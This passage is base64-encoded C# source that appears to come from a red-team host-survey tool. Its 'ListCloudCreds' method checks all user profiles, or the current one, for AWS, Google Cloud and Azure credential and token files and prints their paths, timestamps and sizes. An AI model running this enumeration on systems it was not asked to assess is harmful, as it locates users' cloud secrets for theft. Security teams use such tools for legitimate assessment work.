25zKQogICAgICAgICAgICAvLyAgICB7CiAgICAgICAgICAgIC8vICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiICAgIHswLC0xMH0iLCBrdnAuS2V5KTsKICAgICAgICAgICAgLy8gICAgfQogICAgICAgICAgICAvL30KICAgICAgICB9CgogICAgICAgIHB1YmxpYyBzdGF0aWMgdm9pZCBMaXN0Q2xvdWRDcmVkcygpCiAgICAgICAgewogICAgICAgICAgICAvLyBjaGVja3MgZm9yIHZhcmlvdXMgY2xvdWQgY3JlZGVudGlhbCBmaWxlcyAoQVdTLCBNaWNyb3NvZnQgQXp1cmUsIGFuZCBHb29nbGUgQ29tcHV0ZSkKICAgICAgICAgICAgLy8gYWRhcHRlZCBmcm9tIGh0dHBzOi8vdHdpdHRlci5jb20vY21hZGRhbGVuYSdzIFNoYXJwQ2xvdWQgcHJvamVjdCAoaHR0cHM6Ly9naXRodWIuY29tL2NocmlzbWFkZGFsZW5hL1NoYXJwQ2xvdWQvKQogICAgICAgICAgICB0cnkKICAgICAgICAgICAgewogICAgICAgICAgICAgICAgaWYgKElzSGlnaEludGVncml0eSgpKQogICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCJcclxuXHJcbj09PSBDaGVja2luZyBmb3IgQ2xvdWQgQ3JlZGVudGlhbHMgKEFsbCBVc2VycykgPT09XHJcbiIpOwoKICAgICAgICAgICAgICAgICAgICBzdHJpbmcgdXNlckZvbGRlciA9IFN0cmluZy5Gb3JtYXQoInswfVxcVXNlcnNcXCIsIEVudmlyb25tZW50LkdldEVudmlyb25tZW50VmFyaWFibGUoIlN5c3RlbURyaXZlIikpOwogICAgICAgICAgICAgICAgICAgIHN0cmluZ1tdIGRpcnMgPSBEaXJlY3RvcnkuR2V0RGlyZWN0b3JpZXModXNlckZvbGRlcik7CiAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCAoc3RyaW5nIGRpciBpbiBkaXJzKQogICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgYm9vbCBmb3VuZCA9IGZhbHNlOwogICAgICAgICAgICAgICAgICAgICAgICBzdHJpbmdbXSBwYXJ0cyA9IGRpci5TcGxpdCgnXFwnKTsKICAgICAgICAgICAgICAgICAgICAgICAgc3RyaW5nIHVzZXJOYW1lID0gcGFydHNbcGFydHMuTGVuZ3RoIC0gMV07CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICghKGRpci5FbmRzV2l0aCgiUHVibGljIikgfHwgZGlyLkVuZHNXaXRoKCJEZWZhdWx0IikgfHwgZGlyLkVuZHNXaXRoKCJEZWZhdWx0IFVzZXIiKSB8fCBkaXIuRW5kc1dpdGgoIkFsbCBVc2VycyIpKSkKICAgICAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgc3RyaW5nIGF3c0tleUZpbGUgPSBTdHJpbmcuRm9ybWF0KCJ7MH1cXC5hd3NcXGNyZWRlbnRpYWxzIiwgZGlyKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChTeXN0ZW0uSU8uRmlsZS5FeGlzdHMoYXdzS2V5RmlsZSkpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgRGF0ZVRpbWUgbGFzdEFjY2Vzc2VkID0gU3lzdGVtLklPLkZpbGUuR2V0TGFzdEFjY2Vzc1RpbWUoYXdzS2V5RmlsZSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgRGF0ZVRpbWUgbGFzdE1vZGlmaWVkID0gU3lzdGVtLklPLkZpbGUuR2V0TGFzdFdyaXRlVGltZShhd3NLZXlGaWxlKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsb25nIHNpemUgPSBuZXcgU3lzdGVtLklPLkZpbGVJbmZvKGF3c0tleUZpbGUpLkxlbmd0aDsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiICBbKl0gQVdTIGtleSBmaWxlIGV4aXN0cyBhdCAgICAgOiB7MH0iLCBhd3NLZXlGaWxlKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiICAgICAgQWNjZXNzZWQgICAgICAgICAgICAgICAgICAgOiB7MH0iLCBsYXN0QWNjZXNzZWQpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgICAgICBNb2RpZmllZCAgICAgICAgICAgICAgICAgICA6IHswfSIsIGxhc3RNb2RpZmllZCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiAgICAgIFNpemUgICAgICAgICAgICAgICAgICAgICAgIDogezB9XHJcbiIsIHNpemUpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvdW5kID0gdHJ1ZTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN0cmluZyBjb21wdXRlQ3JlZHNEYiA9IFN0cmluZy5Gb3JtYXQoInswfVxcQXBwRGF0YVxcUm9hbWluZ1xcZ2Nsb3VkXFxjcmVkZW50aWFscy5kYiIsIGRpcik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoU3lzdGVtLklPLkZpbGUuRXhpc3RzKGNvbXB1dGVDcmVkc0RiKSkKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBEYXRlVGltZSBsYXN0QWNjZXNzZWQgPSBTeXN0ZW0uSU8uRmlsZS5HZXRMYXN0QWNjZXNzVGltZShjb21wdXRlQ3JlZHNEYik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgRGF0ZVRpbWUgbGFzdE1vZGlmaWVkID0gU3lzdGVtLklPLkZpbGUuR2V0TGFzdFdyaXRlVGltZShjb21wdXRlQ3JlZHNEYik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbG9uZyBzaXplID0gbmV3IFN5c3RlbS5JTy5GaWxlSW5mbyhjb21wdXRlQ3JlZHNEYikuTGVuZ3RoOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgIFsqXSBDb21wdXRlIGNyZWRzIGF0ICAgICAgICAgICA6IHswfSIsIGNvbXB1dGVDcmVkc0RiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiICAgICAgQWNjZXNzZWQgICAgICAgICAgICAgICAgICAgOiB7MH0iLCBsYXN0QWNjZXNzZWQpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgICAgICBNb2RpZmllZCAgICAgICAgICAgICAgICAgICA6IHswfSIsIGxhc3RNb2RpZmllZCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiAgICAgIFNpemUgICAgICAgICAgICAgICAgICAgICAgIDogezB9XHJcbiIsIHNpemUpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvdW5kID0gdHJ1ZTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN0cmluZyBjb21wdXRlTGVnYWN5Q3JlZHMgPSBTdHJpbmcuRm9ybWF0KCJ7MH1cXEFwcERhdGFcXFJvYW1pbmdcXGdjbG91ZFxcbGVnYWN5X2NyZWRlbnRpYWxzIiwgZGlyKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChTeXN0ZW0uSU8uRmlsZS5FeGlzdHMoY29tcHV0ZUxlZ2FjeUNyZWRzKSkKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBEYXRlVGltZSBsYXN0QWNjZXNzZWQgPSBTeXN0ZW0uSU8uRmlsZS5HZXRMYXN0QWNjZXNzVGltZShjb21wdXRlTGVnYWN5Q3JlZHMpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIERhdGVUaW1lIGxhc3RNb2RpZmllZCA9IFN5c3RlbS5JTy5GaWxlLkdldExhc3RXcml0ZVRpbWUoY29tcHV0ZUxlZ2FjeUNyZWRzKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsb25nIHNpemUgPSBuZXcgU3lzdGVtLklPLkZpbGVJbmZvKGNvbXB1dGVMZWdhY3lDcmVkcykuTGVuZ3RoOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgIFsqXSBDb21wdXRlIGxlZ2FjeSBjcmVkcyBhdCAgICA6IHswfSIsIGNvbXB1dGVMZWdhY3lDcmVkcyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiAgICAgIEFjY2Vzc2VkICAgICAgICAgICAgICAgICAgIDogezB9IiwgbGFzdEFjY2Vzc2VkKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiICAgICAgTW9kaWZpZWQgICAgICAgICAgICAgICAgICAgOiB7MH0iLCBsYXN0TW9kaWZpZWQpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgICAgICBTaXplICAgICAgICAgICAgICAgICAgICAgICA6IHswfVxyXG4iLCBzaXplKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3VuZCA9IHRydWU7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBzdHJpbmcgY29tcHV0ZUFjY2Vzc1Rva2Vuc0RiID0gU3RyaW5nLkZvcm1hdCgiezB9XFxBcHBEYXRhXFxSb2FtaW5nXFxnY2xvdWRcXGFjY2Vzc190b2tlbnMuZGIiLCBkaXIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKFN5c3RlbS5JTy5GaWxlLkV4aXN0cyhjb21wdXRlQWNjZXNzVG9rZW5zRGIpKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIERhdGVUaW1lIGxhc3RBY2Nlc3NlZCA9IFN5c3RlbS5JTy5GaWxlLkdldExhc3RBY2Nlc3NUaW1lKGNvbXB1dGVBY2Nlc3NUb2tlbnNEYik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgRGF0ZVRpbWUgbGFzdE1vZGlmaWVkID0gU3lzdGVtLklPLkZpbGUuR2V0TGFzdFdyaXRlVGltZShjb21wdXRlQWNjZXNzVG9rZW5zRGIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGxvbmcgc2l6ZSA9IG5ldyBTeXN0ZW0uSU8uRmlsZUluZm8oY29tcHV0ZUFjY2Vzc1Rva2Vuc0RiKS5MZW5ndGg7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiAgWypdIENvbXB1dGUgYWNjZXNzIHRva2VucyBhdCAgIDogezB9IiwgY29tcHV0ZUFjY2Vzc1Rva2Vuc0RiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiICAgICAgQWNjZXNzZWQgICAgICAgICAgICAgICAgICAgOiB7MH0iLCBsYXN0QWNjZXNzZWQpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgICAgICBNb2RpZmllZCAgICAgICAgICAgICAgICAgICA6IHswfSIsIGxhc3RNb2RpZmllZCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiAgICAgIFNpemUgICAgICAgICAgICAgICAgICAgICAgIDogezB9XHJcbiIsIHNpemUpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvdW5kID0gdHJ1ZTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN0cmluZyBhenVyZVRva2VucyA9IFN0cmluZy5Gb3JtYXQoInswfVxcLmF6dXJlXFxhY2Nlc3NUb2tlbnMuanNvbiIsIGRpcik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoU3lzdGVtLklPLkZpbGUuRXhpc3RzKGF6dXJlVG9rZW5zKSkKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBEYXRlVGltZSBsYXN0QWNjZXNzZWQgPSBTeXN0ZW0uSU8uRmlsZS5HZXRMYXN0QWNjZXNzVGltZShhenVyZVRva2Vucyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgRGF0ZVRpbWUgbGFzdE1vZGlmaWVkID0gU3lzdGVtLklPLkZpbGUuR2V0TGFzdFdyaXRlVGltZShhenVyZVRva2Vucyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbG9uZyBzaXplID0gbmV3IFN5c3RlbS5JTy5GaWxlSW5mbyhhenVyZVRva2VucykuTGVuZ3RoOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgIFsqXSBBenVyZSBhY2Nlc3MgdG9rZW5zIGF0ICAgICA6IHswfSIsIGF6dXJlVG9rZW5zKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiICAgICAgQWNjZXNzZWQgICAgICAgICAgICAgICAgICAgOiB7MH0iLCBsYXN0QWNjZXNzZWQpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgICAgICBNb2RpZmllZCAgICAgICAgICAgICAgICAgICA6IHswfSIsIGxhc3RNb2RpZmllZCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiAgICAgIFNpemUgICAgICAgICAgICAgICAgICAgICAgIDogezB9XHJcbiIsIHNpemUpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvdW5kID0gdHJ1ZTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN0cmluZyBhenVyZVByb2ZpbGUgPSBTdHJpbmcuRm9ybWF0KCJ7MH1cXC5henVyZVxcYXp1cmVQcm9maWxlLmpzb24iLCBkaXIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKFN5c3RlbS5JTy5GaWxlLkV4aXN0cyhhenVyZVByb2ZpbGUpKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIERhdGVUaW1lIGxhc3RBY2Nlc3NlZCA9IFN5c3RlbS5JTy5GaWxlLkdldExhc3RBY2Nlc3NUaW1lKGF6dXJlUHJvZmlsZSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgRGF0ZVRpbWUgbGFzdE1vZGlmaWVkID0gU3lzdGVtLklPLkZpbGUuR2V0TGFzdFdyaXRlVGltZShhenVyZVByb2ZpbGUpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGxvbmcgc2l6ZSA9IG5ldyBTeXN0ZW0uSU8uRmlsZUluZm8oYXp1cmVQcm9maWxlKS5MZW5ndGg7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiAgWypdIEF6dXJlIHByb2ZpbGUgYXQgICAgICAgICAgIDogezB9IiwgYXp1cmVQcm9maWxlKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiICAgICAgQWNjZXNzZWQgICAgICAgICAgICAgICAgICAgOiB7MH0iLCBsYXN0QWNjZXNzZWQpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgICAgICBNb2RpZmllZCAgICAgICAgICAgICAgICAgICA6IHswfSIsIGxhc3RNb2RpZmllZCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiAgICAgIFNpemUgICAgICAgICAgICAgICAgICAgICAgIDogezB9XHJcbiIsIHNpemUpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvdW5kID0gdHJ1ZTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChmb3VuZCkKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBTeXN0ZW0uQ29uc29sZS5Xcml0ZUxpbmUoKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiXHJcblxyXG49PT0gQ2hlY2tpbmcgZm9yIENsb3VkIENyZWRlbnRpYWxzIChDdXJyZW50IFVzZXIpID09PVxyXG4iKTsKCiAgICAgICAgICAgICAgICAgICAgc3RyaW5nIGF3c0tleUZpbGUgPSBTdHJpbmcuRm9ybWF0KCJ7MH1cXC5hd3NcXGNyZWRlbnRpYWxzIiwgU3lzdGVtLkVudmlyb25tZW50LkdldEVudmlyb25tZW50VmFyaWFibGUoIlVTRVJQUk9GSUxFIikpOwogICAgICAgICAgICAgICAgICAgIGlmIChTeXN0ZW0uSU8uRmlsZS5FeGlzdHMoYXdzS2V5RmlsZSkpCiAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICBEYXRlVGltZSBsYXN0QWNjZXNzZWQgPSBTeXN0ZW0uSU8uRmlsZS5HZXRMYXN0QWNjZXNzVGltZShhd3NLZXlGaWxlKTsKICAgICAgICAgICAgICAgICAgICAgICAgRGF0ZVRpbWUgbGFzdE1vZGlmaWVkID0gU3lzdGVtLklPLkZpbGUuR2V0TGFzdFdyaXRlVGltZShhd3NLZXlGaWxlKTsKICAgICAgICAgICAgICAgICAgICAgICAgbG9uZyBzaXplID0gbmV3IFN5c3RlbS5JTy5GaWxlSW5mbyhhd3NLZXlGaWxlKS5MZW5ndGg7CiAgICAgICAgICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgIFsqXSBBV1Mga2V5IGZpbGUgZXhpc3RzIGF0ICAgICA6IHswfSIsIGF3c0tleUZpbGUpOwogICAgICAgICAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiICAgICAgQWNjZXNzZWQgICAgICAgICAgICAgICAgICAgOiB7MH0iLCBsYXN0QWNjZXNzZWQpOwogICAgICAgICAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiICAgICAgTW9kaWZpZWQgICAgICAgICAgICAgICAgICAgOiB7MH0iLCBsYXN0TW9kaWZpZWQpOwogICAgICAgICAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiICAgICAgU2l6ZSAgICAgICAgICAgICAgICAgICAgICAgOiB7MH1cclxuIiwgc2l6ZSk7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIHN0cmluZyBjb21wdXRlQ3JlZHNEYiA9IFN0cmluZy5Gb3JtYXQoInswfVxcQXBwRGF0YVxcUm9hbWluZ1xcZ2Nsb3VkXFxjcmVkZW50aWFscy5kYiIsIFN5c3RlbS5FbnZpcm9ubWVudC5HZXRFbnZpcm9ubWVudFZhcmlhYmxlKCJVU0VSUFJPRklMRSIpKTsKICAgICAgICAgICAgICAgICAgICBpZiAoU3lzdGVtLklPLkZpbGUuRXhpc3RzKGNvbXB1dGVDcmVkc0RiKSkKICAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgIERhdGVUaW1lIGxhc3RBY2Nlc3NlZCA9IFN5c3RlbS5JTy5GaWxlLkdldExhc3RBY2Nlc3NUaW1lKGNvbXB1dGVDcmVkc0RiKTsKICAgICAgICAgICAgICAgICAgICAgICAgRGF0ZVRpbWUgbGFzdE1vZGlmaWVkID0gU3lzdGVtLklPLkZpbGUuR2V0TGFzdFdyaXRlVGltZShjb21wdXRlQ3JlZHNEYik7CiAgICAgICAgICAgICAgICAgICAgICAgIGxvbmcgc2l6ZSA9IG5ldyBTeXN0ZW0uSU8uRmlsZUluZm8oY29tcHV0ZUNyZWRzRGIpLkxlbmd0aDsKICAgICAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiAgWypdIENvbXB1dGUgY3JlZHMgYXQgICAgICAgICAgIDogezB9IiwgY29tcHV0ZUNyZWRzRGIpOwogICAgICAgICAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiICAgICAgQWNjZXNzZWQgICAgICAgICAgICAgICAgICAgOiB7MH0iLCBsYXN0QWNjZXNzZWQpOwogICAgICAgICAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiICAgICAgTW9kaWZpZWQgICAgICAgICAgICAgICAgICAgOiB7MH0iLCBsYXN0TW9kaWZpZWQpOwogICAgICAgICAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiICAgICAgU2l6ZSAgICAgICAgICAgICAgICAgICAgICAgOiB7MH1cclxuIiwgc2l6ZSk7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIHN0cmluZyBjb21wdXRlTGVnYWN5Q3JlZHMgPSBTdHJpbmcuRm9ybWF0KCJ7MH1cXEFwcERhdGFcXFJvYW1pbmdcXGdjbG91ZFxcbGVnYWN5X2NyZWRlbnRpYWxzIiwgU3lzdGVtLkVudmlyb25tZW50LkdldEVudmlyb25tZW50VmFyaWFibGUoIlVTRVJQUk9GSUxFIikpOwogICAgICAgICAgICAgICAgICAgIGlmIChTeXN0ZW0uSU8uRmlsZS5FeGlzdHMoY29tcHV0ZUxlZ2FjeUNyZWRzKSkKICAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgIERhdGVUaW1lIGxhc3RBY2Nlc3NlZCA9IFN5c3RlbS5JTy5GaWxlLkdldExhc3RBY2Nlc3NUaW1lKGNvbXB1dGVMZWdhY3lDcmVkcyk7CiAgICAgICAgICAgICAgICAgICAgICAgIERhdGVUaW1lIGxhc3RNb2RpZmllZCA9IFN5c3RlbS5JTy5GaWxlLkdldExhc3RXcml0ZVRpbWUoY29tcHV0ZUxlZ2FjeUNyZWRzKTsKICAgICAgICAgICAgICAgICAgICAgICAgbG9uZyBzaXplID0gbmV3IFN5c3RlbS5JTy5GaWxlSW5mbyhjb21wdXRlTGVnYWN5Q3JlZHMpLkxlbmd0aDsKICAgICAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiAgWypdIENvbXB1dGUgbGVnYWN5IGNyZWRzIGF0ICAgIDogezB9IiwgY29tcHV0ZUxlZ2FjeUNyZWRzKTsKICAgICAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiAgICAgIEFjY2Vzc2VkICAgICAgICAgICAgICAgICAgIDogezB9IiwgbGFzdEFjY2Vzc2VkKTsKICAgICAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiAgICAgIE1vZGlmaWVkICAgICAgICAgICAgICAgICAgIDogezB9IiwgbGFzdE1vZGlmaWVkKTsKICAgICAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiAgICAgIFNpemUgICAgICAgICAgICAgICAgICAgICAgIDogezB9XHJcbiIsIHNpemUpOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBzdHJpbmcgY29tcHV0ZUFjY2Vzc1Rva2Vuc0RiID0gU3RyaW5nLkZvcm1hdCgiezB9XFxBcHBEYXRhXFxSb2FtaW5nXFxnY2xvdWRcXGFjY2Vzc190b2tlbnMuZGIiLCBTeXN0ZW0uRW52aXJvbm1lbnQuR2V0RW52aXJvbm1lbnRWYXJpYWJsZSgiVVNFUlBST0ZJTEUiKSk7CiAgICAgICAgICAgICAgICAgICAgaWYgKFN5c3RlbS5JTy5GaWxlLkV4aXN0cyhjb21wdXRlQWNjZXNzVG9rZW5zRGIpKQogICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgRGF0ZVRpbWUgbGFzdEFjY2Vzc2VkID0gU3lzdGVtLklPLkZpbGUuR2V0TGFzdEFjY2Vzc1RpbWUoY29tcHV0ZUFjY2Vzc1Rva2Vuc0RiKTsKICAgICAgICAgICAgICAgICAgICAgICAgRGF0ZVRpbWUgbGFzdE1vZGlmaWVkID0gU3lzdGVtLklPLkZpbGUuR2V0TGFzdFdyaXRlVGltZShjb21wdXRlQWNjZXNzVG9rZW5zRGIpOwogICAgICAgICAgICAgICAgICAgICAgICBsb25nIHNpemUgPSBuZXcgU3lzdGVtLklPLkZpbGVJbmZvKGNvbXB1dGVBY2Nlc3NUb2tlbnNEYikuTGVuZ3RoOwogICAgICAgICAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiICBbKl0gQ29tcHV0ZSBhY2Nlc3MgdG9rZW5zIGF0ICAgOiB7MH0iLCBjb21wdXRlQWNjZXNzVG9rZW5zRGIpOwogICAgICAgICAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiICAgICAgQWNjZXNzZWQgICAgICAgICAgICAgICAgICAgOiB7MH0iLCBsYXN0QWNjZXNzZWQpOwogICAgICAgICAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiICAgICAgTW9kaWZpZWQgICAgICAgICAgICAgICAgICAgOiB7MH0iLCBsYXN0TW9kaWZpZWQpOwogICAgICAgICAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiICAgICAgU2l6ZSAgICAgICAgICAgICAgICAgICAgICAgOiB7MH1cclxuIiwgc2l6ZSk7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIHN0cmluZyBhenVyZVRva2VucyA9IFN0cmluZy5Gb3JtYXQoInswfVxcLmF6dXJlXFxhY2Nlc3NUb2tlbnMuanNvbiIsIFN5c3RlbS5FbnZpcm9ubWVudC5HZXRFbnZpcm9ubWVudFZhcmlhYmxlKCJVU0VSUFJPRklMRSIpKTsKICAgICAgICAgICAgICAgICAgICBpZiAoU3lzdGVtLklPLkZpbGUuRXhpc3RzKGF6dXJlVG9rZW5zKSkKICAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgIERhdGVUaW1lIGxhc3RBY2Nlc3NlZCA9IFN5c3RlbS5JTy5GaWxlLkdldExhc3RBY2Nlc3NUaW1lKGF6dXJlVG9rZW5zKTsKICAgICAgICAgICAgICAgICAgICAgICAgRGF0ZVRpbWUgbGFzdE1vZGlmaWVkID0gU3lzdGVtLklPLkZpbGUuR2V0TGFzdFdyaXRlVGltZShhenVyZVRva2Vucyk7CiAgICAgICAgICAgICAgICAgICAgICAgIGxvbmcgc2l6ZSA9IG5ldyBTeXN0ZW0uSU8uRmlsZUluZm8oYXp1cmVUb2tlbnMpLkxlbmd0aDsKICAgICAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiAgWypdIEF6dXJlIGFjY2VzcyB0b2tlbnMgYXQgICAgIDogezB9IiwgYXp1cmVUb2tlbnMpOwogICAgICAgICAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiICAgICAgQWNjZXNzZWQgICAgICAgICAgICAgICAgICAgOiB7MH0iLCBsYXN0QWNjZXNzZWQpOwogICAgICAgICAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiICAgICAgTW9kaWZpZWQgICAgICAgICAgICAgICAgICAgOiB7MH0iLCBsYXN0TW9kaWZpZWQpOwogICAgICAgICAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiICAgICAgU2l6ZSAgICAgICAgICAgICAgICAgICAgICAgOiB7MH1cclxuIiwgc2l6ZSk7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIHN0cmluZyBhenVyZVByb2ZpbGUgPSBTdHJpbmcuRm9ybWF0KCJ7MH1cXC5henVyZVxcYXp1cmVQcm9maWxlLmpzb24iLCBTeXN0ZW0uRW52aXJvbm1lbnQuR2V0RW52aXJvbm1lbnRWYXJpYWJsZSgiVVNFUlBST0ZJTEUiKSk7CiAgICAgICAgICAgICAgICAgICAgaWYgKFN5c3RlbS5JTy5GaWxlLkV4aXN0cyhhenVyZVByb2ZpbGUpKQogICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgRGF0ZVRpbWUgbGFzdEFjY2Vzc2VkID0gU3lzdGVtLklPLkZpbGUuR2V0TGFzdEFjY2Vzc1RpbWUoYXp1cmVQcm9maWxlKTsKICAgIC